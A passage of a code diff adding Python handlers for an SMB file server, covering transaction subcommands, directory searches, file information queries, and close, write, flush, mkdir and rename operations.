+                    smbServer.log('Unknown level for set file info! 0x%x' % setFileInfoParameters['InformationLevel'],
+                                  logging.ERROR)
+                    # UNSUPPORTED
+                    errorCode = STATUS_NOT_SUPPORTED
+            else:
+                errorCode = STATUS_NO_SUCH_FILE
+
+            if errorCode == STATUS_SUCCESS:
+                respParameters = smb.SMBSetFileInformationResponse_Parameters()
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    @staticmethod
+    def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+
+        queryFileInfoParameters = smb.SMBQueryFileInformation_Parameters(parameters)
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if queryFileInfoParameters['FID'] in connData['OpenedFiles']:
+                pathName = connData['OpenedFiles'][queryFileInfoParameters['FID']]['FileName']
+
+                infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName),
+                                                             queryFileInfoParameters['InformationLevel'])
+
+                if infoRecord is not None:
+                    respParameters = smb.SMBQueryFileInformationResponse_Parameters()
+                    respData = infoRecord
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    @staticmethod
+    def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = 0
+
+        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags=recvPacket['Flags2'], data=parameters)
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            try:
+                infoRecord, errorCode = queryPathInformation(path, decodeSMBString(recvPacket['Flags2'],
+                                                                                   queryPathInfoParameters['FileName']),
+                                                             queryPathInfoParameters['InformationLevel'])
+            except Exception as e:
+                smbServer.log("queryPathInformation: %s" % e, logging.ERROR)
+
+            if infoRecord is not None:
+                respParameters = smb.SMBQueryPathInformationResponse_Parameters()
+                respData = infoRecord
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    @staticmethod
+    def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):
+        connData = smbServer.getConnectionData(connId)
+        errorCode = 0
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            data = queryFsInformation(connData['ConnectedShares'][recvPacket['Tid']]['path'], '',
+                                      struct.unpack('<H', parameters)[0], pktFlags=recvPacket['Flags2'])
+
+        smbServer.setConnectionData(connId, connData)
+
+        return b'', b'', data, errorCode
+
+    @staticmethod
+    def findNext2(connId, smbServer, recvPacket, parameters, data, maxDataCount):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = STATUS_SUCCESS
+        findNext2Parameters = smb.SMBFindNext2_Parameters(flags=recvPacket['Flags2'], data=parameters)
+
+        sid = findNext2Parameters['SID']
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if sid in connData['SIDs']:
+                searchResult = connData['SIDs'][sid]
+                respParameters = smb.SMBFindNext2Response_Parameters()
+                endOfSearch = 1
+                searchCount = 1
+                totalData = 0
+                for i in enumerate(searchResult):
+                    data = i[1].getData()
+                    lenData = len(data)
+                    if (totalData + lenData) >= maxDataCount or (i[0] + 1) >= findNext2Parameters['SearchCount']:
+                        # We gotta stop here and continue on a find_next2
+                        endOfSearch = 0
+                        connData['SIDs'][sid] = searchResult[i[0]:]
+                        respParameters['LastNameOffset'] = totalData
+                        break
+                    else:
+                        searchCount += 1
+                        respData += data
+                        totalData += lenData
+
+                # Have we reached the end of the search or still stuff to send?
+                if endOfSearch > 0:
+                    # Let's remove the SID from our ConnData
+                    del (connData['SIDs'][sid])
+
+                respParameters['EndOfSearch'] = endOfSearch
+                respParameters['SearchCount'] = searchCount
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    @staticmethod
+    def findFirst2(connId, smbServer, recvPacket, parameters, data, maxDataCount):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        findFirst2Parameters = smb.SMBFindFirst2_Parameters(recvPacket['Flags2'], data=parameters)
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+
+            searchResult, searchCount, errorCode = findFirst2(path,
+                                                              decodeSMBString(recvPacket['Flags2'],
+                                                                              findFirst2Parameters['FileName']),
+                                                              findFirst2Parameters['InformationLevel'],
+                                                              findFirst2Parameters['SearchAttributes'],
+                                                              pktFlags=recvPacket['Flags2'])
+
+            if searchCount > 0:
+                respParameters = smb.SMBFindFirst2Response_Parameters()
+                endOfSearch = 1
+                sid = 0x80  # default SID
+                searchCount = 0
+                totalData = 0
+                for i in enumerate(searchResult):
+                    # i[1].dump()
+                    data = i[1].getData()
+                    lenData = len(data)
+                    if (totalData + lenData) >= maxDataCount or (i[0] + 1) > findFirst2Parameters['SearchCount']:
+                        # We gotta stop here and continue on a find_next2
+                        endOfSearch = 0
+                        # Simple way to generate a fid
+                        if len(connData['SIDs']) == 0:
+                            sid = 1
+                        else:
+                            sid = list(connData['SIDs'].keys())[-1] + 1
+                        # Store the remaining search results in the ConnData SID
+                        connData['SIDs'][sid] = searchResult[i[0]:]
+                        respParameters['LastNameOffset'] = totalData
+                        break
+                    else:
+                        searchCount += 1
+                        respData += data
+
+                        padLen = (8 - (lenData % 8)) % 8
+                        respData += b'\xaa' * padLen
+                        totalData += lenData + padLen
+
+                respParameters['SID'] = sid
+                respParameters['EndOfSearch'] = endOfSearch
+                respParameters['SearchCount'] = searchCount
+
+            # If we've empty files and errorCode was not already set, we return NO_SUCH_FILE
+            elif errorCode == 0:
+                errorCode = STATUS_NO_SUCH_FILE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+
+# Here we implement the commands handlers
+class SMBCommands:
+
+    @staticmethod
+    def smbTransaction(connId, smbServer, SMBCommand, recvPacket, transCommands):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(recvPacket['Command'])
+
+        transParameters = smb.SMBTransaction_Parameters(SMBCommand['Parameters'])
+
+        # Do the stuff
+        if transParameters['ParameterCount'] != transParameters['TotalParameterCount']:
+            # TODO: Handle partial parameters
+            raise Exception("Unsupported partial parameters in TRANSACT2!")
+        else:
+            transData = smb.SMBTransaction_SData(flags=recvPacket['Flags2'])
+            # Standard says servers shouldn't trust Parameters and Data comes
+            # in order, so we have to parse the offsets, ugly
+
+            paramCount = transParameters['ParameterCount']
+            transData['Trans_ParametersLength'] = paramCount
+            dataCount = transParameters['DataCount']
+            transData['Trans_DataLength'] = dataCount
+            transData.fromString(SMBCommand['Data'])
+            if transParameters['ParameterOffset'] > 0:
+                paramOffset = transParameters['ParameterOffset'] - 63 - transParameters['SetupLength']
+                transData['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount]
+            else:
+                transData['Trans_Parameters'] = b''
+
+            if transParameters['DataOffset'] > 0:
+                dataOffset = transParameters['DataOffset'] - 63 - transParameters['SetupLength']
+                transData['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
+            else:
+                transData['Trans_Data'] = b''
+
+            # Call the handler for this TRANSACTION
+            if transParameters['SetupCount'] == 0:
+                # No subcommand, let's play with the Name
+                command = decodeSMBString(recvPacket['Flags2'], transData['Name'])
+            else:
+                command = struct.unpack('<H', transParameters['Setup'][:2])[0]
+
+            if command in transCommands:
+                # Call the TRANS subcommand
+                setup = b''
+                parameters = b''
+                data = b''
+                try:
+                    setup, parameters, data, errorCode = transCommands[command](connId,
+                                                                                smbServer,
+                                                                                recvPacket,
+                                                                                transData['Trans_Parameters'],
+                                                                                transData['Trans_Data'],
+                                                                                transParameters['MaxDataCount'])
+                except Exception as e:
+                    # print 'Transaction: %s' % e,e
+                    smbServer.log('Transaction: (%r,%s)' % (command, e), logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+                    # raise
+
+                if setup == b'' and parameters == b'' and data == b'':
+                    # Something wen't wrong
+                    respParameters = b''
+                    respData = b''
+                else:
+                    # Build the answer
+                    if hasattr(data, 'getData'):
+                        data = data.getData()
+                    remainingData = len(data)
+                    if hasattr(parameters, 'getData'):
+                        parameters = parameters.getData()
+                    remainingParameters = len(parameters)
+                    commands = []
+                    dataDisplacement = 0
+                    while remainingData > 0 or remainingParameters > 0:
+                        respSMBCommand = smb.SMBCommand(recvPacket['Command'])
+                        respParameters = smb.SMBTransactionResponse_Parameters()
+                        respData = smb.SMBTransaction2Response_Data()
+
+                        respParameters['TotalParameterCount'] = len(parameters)
+                        respParameters['ParameterCount'] = len(parameters)
+                        respData['Trans_ParametersLength'] = len(parameters)
+                        respParameters['TotalDataCount'] = len(data)
+                        respParameters['DataDisplacement'] = dataDisplacement
+
+                        # TODO: Do the same for parameters
+                        if len(data) > transParameters['MaxDataCount']:
+                            # Answer doesn't fit in this packet
+                            LOG.debug("Lowering answer from %d to %d" % (len(data), transParameters['MaxDataCount']))
+                            respParameters['DataCount'] = transParameters['MaxDataCount']
+                        else:
+                            respParameters['DataCount'] = len(data)
+
+                        respData['Trans_DataLength'] = respParameters['DataCount']
+                        respParameters['SetupCount'] = len(setup)
+                        respParameters['Setup'] = setup
+                        # TODO: Make sure we're calculating the pad right
+                        if len(parameters) > 0:
+                            # padLen = 4 - (55 + len(setup)) % 4
+                            padLen = (4 - (55 + len(setup)) % 4) % 4
+                            padBytes = b'\xFF' * padLen
+                            respData['Pad1'] = padBytes
+                            respParameters['ParameterOffset'] = 55 + len(setup) + padLen
+                        else:
+                            padLen = 0
+                            respParameters['ParameterOffset'] = 0
+                            respData['Pad1'] = b''
+
+                        if len(data) > 0:
+                            # pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4
+                            pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4
+                            respData['Pad2'] = b'\xFF' * pad2Len
+                            respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len
+                        else:
+                            respParameters['DataOffset'] = 0
+                            respData['Pad2'] = b''
+
+                        respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']]
+                        respData['Trans_Data'] = data[:respParameters['DataCount']]
+                        respSMBCommand['Parameters'] = respParameters
+                        respSMBCommand['Data'] = respData
+
+                        data = data[respParameters['DataCount']:]
+                        remainingData -= respParameters['DataCount']
+                        dataDisplacement += respParameters['DataCount'] + 1
+
+                        parameters = parameters[respParameters['ParameterCount']:]
+                        remainingParameters -= respParameters['ParameterCount']
+                        commands.append(respSMBCommand)
+
+                    smbServer.setConnectionData(connId, connData)
+                    return commands, None, errorCode
+
+            else:
+                smbServer.log("Unsupported Transact command %r" % command, logging.ERROR)
+                respParameters = b''
+                respData = b''
+                errorCode = STATUS_NOT_IMPLEMENTED
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbNTTransact(connId, smbServer, SMBCommand, recvPacket, transCommands):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(recvPacket['Command'])
+
+        NTTransParameters = smb.SMBNTTransaction_Parameters(SMBCommand['Parameters'])
+        # Do the stuff
+        if NTTransParameters['ParameterCount'] != NTTransParameters['TotalParameterCount']:
+            # TODO: Handle partial parameters
+            raise Exception("Unsupported partial parameters in NTTrans!")
+        else:
+            NTTransData = smb.SMBNTTransaction_Data()
+            # Standard says servers shouldn't trust Parameters and Data comes
+            # in order, so we have to parse the offsets, ugly
+
+            paramCount = NTTransParameters['ParameterCount']
+            NTTransData['NT_Trans_ParametersLength'] = paramCount
+            dataCount = NTTransParameters['DataCount']
+            NTTransData['NT_Trans_DataLength'] = dataCount
+
+            if NTTransParameters['ParameterOffset'] > 0:
+                paramOffset = NTTransParameters['ParameterOffset'] - 73 - NTTransParameters['SetupLength']
+                NTTransData['NT_Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount]
+            else:
+                NTTransData['NT_Trans_Parameters'] = b''
+
+            if NTTransParameters['DataOffset'] > 0:
+                dataOffset = NTTransParameters['DataOffset'] - 73 - NTTransParameters['SetupLength']
+                NTTransData['NT_Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
+            else:
+                NTTransData['NT_Trans_Data'] = b''
+
+            # Call the handler for this TRANSACTION
+            command = NTTransParameters['Function']
+            if command in transCommands:
+                # Call the NT TRANS subcommand
+                setup = b''
+                parameters = b''
+                data = b''
+                try:
+                    setup, parameters, data, errorCode = transCommands[command](connId,
+                                                                                smbServer,
+                                                                                recvPacket,
+                                                                                NTTransData['NT_Trans_Parameters'],
+                                                                                NTTransData['NT_Trans_Data'],
+                                                                                NTTransParameters['MaxDataCount'])
+                except Exception as e:
+                    smbServer.log('NTTransaction: (0x%x,%s)' % (command, e), logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+                    # raise
+
+                if setup == b'' and parameters == b'' and data == b'':
+                    # Something wen't wrong
+                    respParameters = b''
+                    respData = b''
+                    if errorCode == STATUS_SUCCESS:
+                        errorCode = STATUS_ACCESS_DENIED
+                else:
+                    # Build the answer
+                    if hasattr(data, 'getData'):
+                        data = data.getData()
+                    remainingData = len(data)
+                    if hasattr(parameters, 'getData'):
+                        parameters = parameters.getData()
+                    remainingParameters = len(parameters)
+                    commands = []
+                    dataDisplacement = 0
+                    while remainingData > 0 or remainingParameters > 0:
+                        respSMBCommand = smb.SMBCommand(recvPacket['Command'])
+                        respParameters = smb.SMBNTTransactionResponse_Parameters()
+                        respData = smb.SMBNTTransactionResponse_Data()
+
+                        respParameters['TotalParameterCount'] = len(parameters)
+                        respParameters['ParameterCount'] = len(parameters)
+                        respData['Trans_ParametersLength'] = len(parameters)
+                        respParameters['TotalDataCount'] = len(data)
+                        respParameters['DataDisplacement'] = dataDisplacement
+                        # TODO: Do the same for parameters
+                        if len(data) > NTTransParameters['MaxDataCount']:
+                            # Answer doesn't fit in this packet
+                            LOG.debug("Lowering answer from %d to %d" % (len(data), NTTransParameters['MaxDataCount']))
+                            respParameters['DataCount'] = NTTransParameters['MaxDataCount']
+                        else:
+                            respParameters['DataCount'] = len(data)
+
+                        respData['NT_Trans_DataLength'] = respParameters['DataCount']
+                        respParameters['SetupCount'] = len(setup)
+                        respParameters['Setup'] = setup
+                        # TODO: Make sure we're calculating the pad right
+                        if len(parameters) > 0:
+                            # padLen = 4 - (71 + len(setup)) % 4
+                            padLen = (4 - (73 + len(setup)) % 4) % 4
+                            padBytes = b'\xFF' * padLen
+                            respData['Pad1'] = padBytes
+                            respParameters['ParameterOffset'] = 73 + len(setup) + padLen
+                        else:
+                            padLen = 0
+                            respParameters['ParameterOffset'] = 0
+                            respData['Pad1'] = b''
+
+                        if len(data) > 0:
+                            # pad2Len = 4 - (71 + len(setup) + padLen + len(parameters)) % 4
+                            pad2Len = (4 - (73 + len(setup) + padLen + len(parameters)) % 4) % 4
+                            respData['Pad2'] = b'\xFF' * pad2Len
+                            respParameters['DataOffset'] = 73 + len(setup) + padLen + len(parameters) + pad2Len
+                        else:
+                            respParameters['DataOffset'] = 0
+                            respData['Pad2'] = b''
+
+                        respData['NT_Trans_Parameters'] = parameters[:respParameters['ParameterCount']]
+                        respData['NT_Trans_Data'] = data[:respParameters['DataCount']]
+                        respSMBCommand['Parameters'] = respParameters
+                        respSMBCommand['Data'] = respData
+
+                        data = data[respParameters['DataCount']:]
+                        remainingData -= respParameters['DataCount']
+                        dataDisplacement += respParameters['DataCount'] + 1
+
+                        parameters = parameters[respParameters['ParameterCount']:]
+                        remainingParameters -= respParameters['ParameterCount']
+                        commands.append(respSMBCommand)
+
+                    smbServer.setConnectionData(connId, connData)
+                    return commands, None, errorCode
+
+            else:
+                # smbServer.log("Unsupported NTTransact command 0x%x" % command, logging.ERROR)
+                respParameters = b''
+                respData = b''
+                errorCode = STATUS_NOT_IMPLEMENTED
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbTransaction2(connId, smbServer, SMBCommand, recvPacket, transCommands):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(recvPacket['Command'])
+
+        trans2Parameters = smb.SMBTransaction2_Parameters(SMBCommand['Parameters'])
+
+        # Do the stuff
+        if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']:
+            # TODO: Handle partial parameters
+            # print "Unsupported partial parameters in TRANSACT2!"
+            raise Exception("Unsupported partial parameters in TRANSACT2!")
+        else:
+            trans2Data = smb.SMBTransaction2_Data()
+            # Standard says servers shouldn't trust Parameters and Data comes
+            # in order, so we have to parse the offsets, ugly
+
+            paramCount = trans2Parameters['ParameterCount']
+            trans2Data['Trans_ParametersLength'] = paramCount
+            dataCount = trans2Parameters['DataCount']
+            trans2Data['Trans_DataLength'] = dataCount
+
+            if trans2Parameters['ParameterOffset'] > 0:
+                paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength']
+                trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount]
+            else:
+                trans2Data['Trans_Parameters'] = b''
+
+            if trans2Parameters['DataOffset'] > 0:
+                dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength']
+                trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
+            else:
+                trans2Data['Trans_Data'] = b''
+
+            # Call the handler for this TRANSACTION
+            command = struct.unpack('<H', trans2Parameters['Setup'])[0]
+            if command in transCommands:
+                # Call the TRANS2 subcommand
+                try:
+                    setup, parameters, data, errorCode = transCommands[command](connId,
+                                                                                smbServer,
+                                                                                recvPacket,
+                                                                                trans2Data['Trans_Parameters'],
+                                                                                trans2Data['Trans_Data'],
+                                                                                trans2Parameters['MaxDataCount'])
+                except Exception as e:
+                    smbServer.log('Transaction2: (0x%x,%s)' % (command, e), logging.ERROR)
+                    # import traceback
+                    # traceback.print_exc()
+                    raise
+
+                if setup == b'' and parameters == b'' and data == b'':
+                    # Something wen't wrong
+                    respParameters = b''
+                    respData = b''
+                else:
+                    # Build the answer
+                    if hasattr(data, 'getData'):
+                        data = data.getData()
+                    remainingData = len(data)
+                    if hasattr(parameters, 'getData'):
+                        parameters = parameters.getData()
+                    remainingParameters = len(parameters)
+                    commands = []
+                    dataDisplacement = 0
+                    while remainingData > 0 or remainingParameters > 0:
+                        respSMBCommand = smb.SMBCommand(recvPacket['Command'])
+                        respParameters = smb.SMBTransaction2Response_Parameters()
+                        respData = smb.SMBTransaction2Response_Data()
+
+                        respParameters['TotalParameterCount'] = len(parameters)
+                        respParameters['ParameterCount'] = len(parameters)
+                        respData['Trans_ParametersLength'] = len(parameters)
+                        respParameters['TotalDataCount'] = len(data)
+                        respParameters['DataDisplacement'] = dataDisplacement
+                        # TODO: Do the same for parameters
+                        if len(data) > trans2Parameters['MaxDataCount']:
+                            # Answer doesn't fit in this packet
+                            LOG.debug("Lowering answer from %d to %d" % (len(data), trans2Parameters['MaxDataCount']))
+                            respParameters['DataCount'] = trans2Parameters['MaxDataCount']
+                        else:
+                            respParameters['DataCount'] = len(data)
+
+                        respData['Trans_DataLength'] = respParameters['DataCount']
+                        respParameters['SetupCount'] = len(setup)
+                        respParameters['Setup'] = setup
+                        # TODO: Make sure we're calculating the pad right
+                        if len(parameters) > 0:
+                            # padLen = 4 - (55 + len(setup)) % 4
+                            padLen = (4 - (55 + len(setup)) % 4) % 4
+                            padBytes = b'\xFF' * padLen
+                            respData['Pad1'] = padBytes
+                            respParameters['ParameterOffset'] = 55 + len(setup) + padLen
+                        else:
+                            padLen = 0
+                            respParameters['ParameterOffset'] = 0
+                            respData['Pad1'] = b''
+
+                        if len(data) > 0:
+                            # pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4
+                            pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4
+                            respData['Pad2'] = b'\xFF' * pad2Len
+                            respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len
+                        else:
+                            respParameters['DataOffset'] = 0
+                            respData['Pad2'] = b''
+
+                        respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']]
+                        respData['Trans_Data'] = data[:respParameters['DataCount']]
+                        respSMBCommand['Parameters'] = respParameters
+                        respSMBCommand['Data'] = respData
+
+                        data = data[respParameters['DataCount']:]
+                        remainingData -= respParameters['DataCount']
+                        dataDisplacement += respParameters['DataCount'] + 1
+
+                        parameters = parameters[respParameters['ParameterCount']:]
+                        remainingParameters -= respParameters['ParameterCount']
+                        commands.append(respSMBCommand)
+
+                    smbServer.setConnectionData(connId, connData)
+                    return commands, None, errorCode
+
+            else:
+                smbServer.log("Unsupported Transact/2 command 0x%x" % command, logging.ERROR)
+                respParameters = b''
+                respData = b''
+                errorCode = STATUS_NOT_IMPLEMENTED
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComLockingAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOCKING_ANDX)
+        respParameters = b''
+        respData = b''
+
+        # I'm actually doing nothing.. just make MacOS happy ;)
+        errorCode = STATUS_SUCCESS
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComClose(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CLOSE)
+        respParameters = b''
+        respData = b''
+
+        comClose = smb.SMBClose_Parameters(SMBCommand['Parameters'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if comClose['FID'] in connData['OpenedFiles']:
+                errorCode = STATUS_SUCCESS
+                fileHandle = connData['OpenedFiles'][comClose['FID']]['FileHandle']
+                try:
+                    if fileHandle == PIPE_FILE_DESCRIPTOR:
+                        connData['OpenedFiles'][comClose['FID']]['Socket'].close()
+                    elif fileHandle != VOID_FILE_DESCRIPTOR:
+                        os.close(fileHandle)
+                except Exception as e:
+                    smbServer.log("comClose %s" % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+                else:
+                    # Check if the file was marked for removal
+                    if connData['OpenedFiles'][comClose['FID']]['DeleteOnClose'] is True:
+                        try:
+                            os.remove(connData['OpenedFiles'][comClose['FID']]['FileName'])
+                        except Exception as e:
+                            smbServer.log("comClose %s" % e, logging.ERROR)
+                            errorCode = STATUS_ACCESS_DENIED
+                    del (connData['OpenedFiles'][comClose['FID']])
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComWrite(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE)
+        respParameters = smb.SMBWriteResponse_Parameters()
+        respData = b''
+
+        comWriteParameters = smb.SMBWrite_Parameters(SMBCommand['Parameters'])
+        comWriteData = smb.SMBWrite_Data(SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if comWriteParameters['Fid'] in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][comWriteParameters['Fid']]['FileHandle']
+                errorCode = STATUS_SUCCESS
+                try:
+                    if fileHandle != PIPE_FILE_DESCRIPTOR:
+                        # TODO: Handle big size files
+                        # If we're trying to write past the file end we just skip the write call (Vista does this)
+                        if os.lseek(fileHandle, 0, 2) >= comWriteParameters['Offset']:
+                            os.lseek(fileHandle, comWriteParameters['Offset'], 0)
+                            os.write(fileHandle, comWriteData['Data'])
+                    else:
+                        sock = connData['OpenedFiles'][comWriteParameters['Fid']]['Socket']
+                        sock.send(comWriteData['Data'])
+                    respParameters['Count'] = comWriteParameters['Count']
+                except Exception as e:
+                    smbServer.log('smbComWrite: %s' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComFlush(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_FLUSH)
+        respParameters = b''
+        respData = b''
+
+        comFlush = smb.SMBFlush_Parameters(SMBCommand['Parameters'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if comFlush['FID'] in connData['OpenedFiles']:
+                errorCode = STATUS_SUCCESS
+                fileHandle = connData['OpenedFiles'][comFlush['FID']]['FileHandle']
+                try:
+                    os.fsync(fileHandle)
+                except Exception as e:
+                    smbServer.log("comFlush %s" % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComCreateDirectory(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
+        respParameters = b''
+        respData = b''
+
+        comCreateDirectoryData = smb.SMBCreateDirectory_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            errorCode = STATUS_SUCCESS
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comCreateDirectoryData['DirectoryName']))
+            pathName = os.path.join(path, fileName)
+
+            if not isInFileJail(path, fileName):
+                smbServer.log("Path not in current working directory", logging.ERROR)
+                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            elif os.path.exists(pathName):
+                errorCode = STATUS_OBJECT_NAME_COLLISION
+
+            else:
+                try:
+                    os.mkdir(pathName)
+                except Exception as e:
+                    smbServer.log("smbComCreateDirectory: %s" % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComRename(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_RENAME)
+        respParameters = b''
+        respData = b''
+
+        comRenameData = smb.SMBRename_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            errorCode = STATUS_SUCCESS
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            oldFileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comRenameData['OldFileName']))
+            oldPathName = os.path.join(path, oldFileName)
+            newFileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comRenameData['NewFileName']))
+            newPathName = os.path.join(path, newFileName)
+
+            if not isInFileJail(path, oldFileName) or not isInFileJail(path, newFileName):
+                smbServer.log("Path not in current working directory", logging.ERROR)
+                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            elif not os.path.exists(oldPathName):
+                errorCode = STATUS_NO_SUCH_FILE
+
+            else:
+                try:
+                    os.rename(oldPathName, newPathName)
+                except OSError as e:
+                    smbServer.log("smbComRename: %s" % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
